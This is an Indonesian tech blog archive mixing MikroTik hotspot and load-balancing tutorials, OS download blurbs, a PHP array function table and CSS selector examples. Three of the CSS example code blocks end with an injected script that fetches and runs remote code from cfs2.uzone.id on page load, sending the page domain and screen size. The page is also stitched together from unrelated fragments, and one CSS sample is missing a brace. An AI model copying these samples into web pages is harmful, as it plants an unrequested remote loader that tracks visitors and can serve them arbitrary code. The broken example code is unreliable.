Sunday, January 29, 2017

Upgrade TP-LINK 5210 ke Nano Statision 2

TP-Link 5210 adalah perangkat wirelless tipe out door yang sudah dilengkapi dengan antena reflektor eksternal, radio ini mempunya frequensi 2,4 GHz dan radius pancar antara 90 derajat. Tp-Link 5210 ini adalah versi radio out door yang sukses dipasaran karna kualitasnya yang bagus apabila setingan mendapatkan custome yang pas. apalagi tp-link ini bisa di upgrade ke UBNT Nano Station 2 , yang keuntungannya adalah :

Tutorial Setting Mikrotik RB dari Awal Sampai Terkoneksi Dengan Internet ( Basic Setup Mikrotik )

Saya asumsikan anda sudah mengenal hardware mikrotik dimana nanti kita akan me-reset awal setting default konfigurasi agar mikrotik menjadi nol konfigurasi, langkah yang harus kita lakukan agar mikrotik Rb kita bisa tekoneksi dengan internet adalah sebagai berikut :

Saturday, January 28, 2017

Tutorial Load Balance 2 Modem ISP Menggunakan Metode PCC Mikrotik

Load balance 2 modem ISP dengan metode PCC sangat cocok digunakan untuk Owner hotspot yang belum tercover jaringan internet dengan bandwitdh besar, dan metode pcc ini tidak lain dilakukan dengan tujuan : mendistribusikan trafik dari user ke 2 wan atau 2 isp secara merata yang fungsinya : membagi beban koneksi kepada kedua isp tersebut agar seimbang.

Management Bandwitdh Hotspot Login Mikrotik 1 ID User Login Shared Multi Client

Management bandwitdh adalah kunci utama untuk membagi bandwitdh internet, untuk dapat mengatur bandwitdh supaya maksimal kita wajib mengetahui trik-trik yang ada pada rule masing masing menu mikrotik. kali ini kita akan membahas management bandwitdh hotspot mikrotik agar bisa shared 1 user ID dipakai multi login.

Template Hotspot Login Mikrotik [Fitur RT RW Profil]

Hotspot login template adalah halaman utama yang diakses oleh client hotspot dinamis saat akan login akun dan berselancar ke internet layanan hotspot kita, maka dari itu banyak owner hotspot yang ingin menuangkan profil layanan dari masing-masing hotspot mereka.

Friday, January 27, 2017

Block Mac dan IP Address Static Client Hotspot Mikrotik

Untuk dapat mengunci client hotspot agar tidak bisa ganti-ganti IP Address maka kita perlu melakukan kunci mac address si client hotspot, rule ini dilakukan oleh owner hotspot yang masih menggunakan IP Static untuk memanajement hotspot mikrotiknya.

Tutorial Simple Block Situs Dewasa Dengan Mikrotik

This summary is not available. Please click here to view the post.

Tutorial Setting Hotspot Mikrotik


Hotspot merupakan fitur gabungan dari berbagai service yang ada di Mikrotik, antara lain :

  • DHCP server, digunakan untuk memberi layanan IP otomatis ke user
  • Firewall NAT, untuk mentranslasi IP user ke IP yang bisa dikenali ke internet
  • Firewall filter, untuk memblock user yang belum melakukan login
  • Proxy, untuk memberikan tampilan halaman login
  • dan sebagainya
Tetapi beruntungnya, service-service tersebut tidak perlu kita buat secara manual. Bagaimana langkahnya, bisa dijabarkan sebagai berikut :
Buka di menu IP > Hotspot > Hotspot Setup.


Dengan menekan tombol Hotspot Setup, wizard Hotspot akan menuntun kita untuk melakukan setting dengan menampilkan kotak-kotak dialog pada setiap langkah nya.

 

Langkah pertama, kita diminta untuk menentukan interface mana Hotspot akan diaktifkan. Pada kasus kali ini, Hotspot diaktifkan pada wlan1, dimana wlan1 sudah kita set sebagai access point (ap-bridge). Selanjutnya klik Next.

 


Jika di interface wlan1 sudah terdapat IP, maka pada langkah kedua ini, secara otomatis terisi IP Address yang ada di wlan1. Tetapi jika belum terpasang IP, maka kita bisa menentukan IP nya di langkah ini. Kemudian Klik Next.
 


Langkah ketiga, tentukan range IP Address yang akan diberikan ke user (DHCP Server). Secara default, router otomatis memberikan range IP sesuai dengan prefix/subnet IP yang ada di interface. Tetapi kita bisa merubahnya jika dibutuhkan. Lalu klik Next.


Langkah selanjutnya, menentukan SSL Certificate jika kita akan menggunakan HTTPS untuk halaman loginnya. Tetapi jika kita tidak memiliki sertifikat SSL, kita pilihl none, kemudian klik Next




Jika diperlukan SMTP Server khusus untuk server hotspot bisa ditentukan, sehingga setiap request SMTP client diredirect ke SMTP yang kita tentukan. Karena tidak disediakan smtp server, IP 0.0.0.0 kami biarkan default. Kemudian klik Next.



Di langkah ini, kita meentukan alamat DNS Server. Anda bisa isi dengan DNS yang diberikan oleh ISP atau dengan open DNS. Sebagai contoh, kita menggunakan DNS Server Google. Lalu klik Next.

 

Selanjutnya kita diminta memasukkan nama DNS untuk local hotspot server. Jika diisikan, nantinya setiap user yang belum melakukan login dan akan akses ke internet, maka browser akan dibelokkan ke halaman login ini. Disini DNS name sebaiknya menggunakan format FQDN yang benar. Jika tidak diisikan maka di halaman login akan menggunakan url IP address dari wlan1. Pada kasus ini, nama DNS-nya diisi "hotspot.mikrotik.co.id". Lalu klik Next.



Langkah terakhir, tentukan username dan pasword untuk login ke jaringan hotspot Anda. Ini adalah username yang akan kita gunakan untuk mencoba jaringan hotspot kita.
Sampai pada langkah ini, jika di klik Next maka akan muncul pesan yang menyatakan bahwa setting Hotspot telah selesai.


Selanjutnya kita akan mencoba mengkoneksikan laptop ke wifi hotspot yang sudah kita buat. Kemudian buka browser dan akses web sembarang (pastikan Anda mengakses web yang menggunakan protokol http, karena hotspot mikrotik belum mendukung untuk redirect web yang menggunakan https), maka Anda akan dialihkan ke halaman login hotspot seperti pada gambar berikut ini:


Untuk mencobanya, silahkan coba login dengan username dan password yang telah Anda buat pada langkah sebelumnya. Jika berhasil login maka akan membuka halaman web yang diminta dan membuka popup halaman status Hotspot.

Monday, December 5, 2016

CSS - Colors

CSS - HOW TO ?



When a browser reads a style sheet, it will format the HTML document according to the information in the style sheet.

Friday, December 2, 2016

Download Fedora






Download FreeBSD

Most users of FreeBSD will have hardware for either the amd64, i386, or armv6 architectures.

Download CentOS

Download Debian


Debian is distributed freely over Internet. 


You can download all of it from any of 

our mirrors.

Ubuntu Download

Ubuntu is completely free to download, use and share.

Ubuntu Desktop ›

Download Ubuntu desktop and replace your current operating
system whether it’s Windows or Mac OS, or, run Ubuntu alongside it.

Winbox dan Package Mikrotik

Upgrading RouterOS

Choose Bugfix only version to download the most stable release without new features, just most important fixes. Choose Current to have the same fixes including improvements and new features, or choose Release candidate for testing the absolute latest builds in test environments.

PHP 5 Array Functions



PHP Array Introduction

The array functions allow you to access and manipulate arrays.
Simple and multi-dimensional arrays are supported.

Installation

The array functions are part of the PHP core. There is no installation needed to use these functions.

PHP 5 Array Functions 

FunctionDescription
array()Creates an array
array_change_key_case()Changes all keys in an array to lowercase or
uppercase
array_chunk()Splits an array into chunks of arrays
array_column()Returns the values from a single column in the input
array
array_combine()Creates an array by using the elements from one
"keys" array and one "values" array
array_count_values()Counts all the values of an array
array_diff()Compare arrays, and returns the differences
(compare values only)
array_diff_assoc()Compare arrays, and returns the differences
 (compare keys and values)
array_diff_key()Compare arrays, and returns the differences
(compare keys only)
array_diff_uassoc()Compare arrays, and returns the differences (compare
 keys and values, using a user-defined key
comparison function)
array_diff_ukey()Compare arrays, and returns the differences
(compare keys only, using a user-defined key
comparison function)
array_fill()Fills an array with values
array_fill_keys()Fills an array with values, specifying keys
array_filter()Filters the values of an array using a callback function
array_flip()Flips/Exchanges all keys with their associated values
 in an array
array_intersect()Compare arrays, and returns the matches (compare
values only)
array_intersect_assoc()Compare arrays and returns the matches (compare
 keys and values)
array_intersect_key()Compare arrays, and returns the matches (compare
 keys only)
array_intersect_uassoc()Compare arrays, and returns the matches (compare
keys and values, using a user-defined key
comparison function)
array_intersect_ukey()Compare arrays, and returns the matches (compare
 keys only, using a user-defined key comparison
function)
array_key_exists()Checks if the specified key exists in the array
array_keys()Returns all the keys of an array
array_map()Sends each value of an array to a user-made function
 which returns new values
array_merge()Merges one or more arrays into one array
array_merge_recursive()Merges one or more arrays into one array recursively
array_multisort()Sorts multiple or multi-dimensional arrays
array_pad()Inserts a specified number of items, with a specified
value, to an array
array_pop()Deletes the last element of an array
array_product()Calculates the product of the values in an array
array_push()Inserts one or more elements to the end of an array
array_rand()Returns one or more random keys from an array
array_reduce()Returns an array as a string, using a user-defined
function
array_replace()Replaces the values of the first array with the values
 from following arrays
array_replace_recursive()Replaces the values of the first array with the values
from following arrays recursively
array_reverse()Returns an array in the reverse order
array_search()Searches an array for a given value and returns the
key
array_shift()Removes the first element from an array, and returns
 the value of the removed element
array_slice()Returns selected parts of an array
array_splice()Removes and replaces specified elements of an array
array_sum()Returns the sum of the values in an array
array_udiff()Compare arrays, and returns the differences
(compare values only, using a user-defined key
comparison function)
array_udiff_assoc()Compare arrays, and returns the differences
(compare keys and values, using a built-in function to compare the keys and a user-defined function to compare the values)
array_udiff_uassoc()Compare arrays, and returns the differences (compare keys and values, using two user-defined key comparison functions)
array_uintersect()Compare arrays, and returns the matches (compare
values only, using a user-defined key comparison
function)
array_uintersect_assoc()Compare arrays, and returns the matches (compare
keys and values, using a built-in function to compare
 the keys and a user-defined function to compare the
values)
array_uintersect_uassoc()Compare arrays, and returns the matches (compare
keys and values, using two user-defined key
 comparison functions)
array_unique()Removes duplicate values from an array
array_unshift()Adds one or more elements to the beginning of an
array
array_values()Returns all the values of an array
array_walk()Applies a user function to every member of an array
array_walk_recursive()Applies a user function recursively to every member
of an array
arsort()Sorts an associative array in descending order,
according to the value
asort()Sorts an associative array in ascending order,
according to the value
compact()Create array containing variables and their values
count()Returns the number of elements in an array
current()Returns the current element in an array
each()Returns the current key and value pair from an array
end()Sets the internal pointer of an array to its last element
extract()Imports variables into the current symbol table from
an array
in_array()Checks if a specified value exists in an array
key()Fetches a key from an array
krsort()Sorts an associative array in descending order,
according to the key
ksort()Sorts an associative array in ascending order,
according to the key
list()Assigns variables as if they were an array
natcasesort()Sorts an array using a case insensitive "natural order" algorithm
natsort()Sorts an array using a "natural order" algorithm
next()Advance the internal array pointer of an array
pos()Alias of current()
prev()Rewinds the internal array pointer
range()Creates an array containing a range of elements
reset()Sets the internal pointer of an array to its first
element
rsort()Sorts an indexed array in descending order
shuffle()Shuffles an array
sizeof()Alias of count()
sort()Sorts an indexed array in ascending order
uasort()Sorts an array by values using a user-defined
comparison function
uksort()Sorts an array by keys using a user-defined
comparison function
usort()Sorts an array using a user-defined comparison
function

PHP 5 Tutorial

PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages.
PHP is a widely-used, free, and efficient alternative to competitors such as Microsoft's ASP.

Easy Learning with "Show PHP"

Our "Show PHP" tool makes it easy to learn PHP, it shows both the PHP source code and the HTML output of the code.

Example

<!DOCTYPE html>
<html>
<body>

<?php
echo "My first PHP script!";
?>


</body>
</html>
Run example »
Click on the "Run example" button to see how it works.

PHP 5 References

At W3Schools you will find complete references of all PHP functions:

CSS Syntax - Class Selector


Class Selector :

<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
    text-align: center;
    color: red;
}
</style>
</head>
<body>

<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>

<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>


CSS Syntax - ID Selector

ID Selector :

<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
    text-align: center;
    color: red;
}
</style>
</head>
<body>

<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>

<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Syntax - Element Selector

Element Selector :

<!DOCTYPE html>
<html>
<head>
<style>
p {
    text-align: center;
    color: red;

</style>
</head>
<body>

<p>Every paragraph will be affected by the style.</p>
<p id="para1">Me too!</p>
<p>And me!</p>

<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkeiIBVl0fmp5Hi7mKSwziKsz%2fWj82K%2fItsLYz2UmIjgOCWfVseJgi6OynJULJlAxxQ%2fcwnW4gpqeRP8jlm3Q%2fCjKQ%2ffW5eX4QRs%2bShBnBkocVB8w5bDE%2bZbyjxxH%2bdeXovNPmQcZNQn7zLABYBdrL0bQMzGZrcrf2EedtQaKeXCab5nkYMRvakjCw0PN0R2gUikYehM11BInJzs9gZtD9vMHz1dpSQ3ct8F5RDT78h2DwTrMkRF4uKmDdkijgGDxwj2TOgrMpFrr2woGKEUYznhxeiGyTddvxGVW0xir%2fT5Q0%2fkrt0oMJHQNO%2fYOO1uvwRck2blFIsYevt8wqkkc3GWACQ0VVcgF7eP285FQtEv7t5zFI82HDK9K" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Examples

Thursday, December 1, 2016

CSS Introduction


What is CSS?

  • CSS stands for Cascading Style Sheets
  • CSS describes how HTML elements are to be displayed on screen, paper, or in other media
  • CSS saves a lot of work. It can control the layout of multiple web pages all at once
  • External stylesheets are stored in CSS files


CSS Demo - One HTML Page - Multiple Styles!

Here we will show one HTML page displayed with four different stylesheets. Click on the "Stylesheet 1", "Stylesheet 2", "Stylesheet 3", "Stylesheet 4" links below to see the different styles:

Why Use CSS?

CSS is used to define styles for your web pages, including the design, layout and variations in display for different devices and screen sizes.

CSS Solved a Big Problem

HTML was NEVER intended to contain tags for formatting a web page!
HTML was created to describe the content of a web page, like:
<h1>This is a heading</h1>
<p>This is a paragraph.</p>
When tags like <font>, and color attributes were added to the HTML 3.2 specification, it started a nightmare for web developers. Development of large websites, where fonts and color information were added to every single page, became a long and expensive process.
To solve this problem, the World Wide Web Consortium (W3C) created CSS.
CSS removed the style formatting from the HTML page!

CSS Saves a Lot of Work!

The style definitions are normally saved in external .css files.
With an external stylesheet file, you can change the look of an entire website by changing just one file!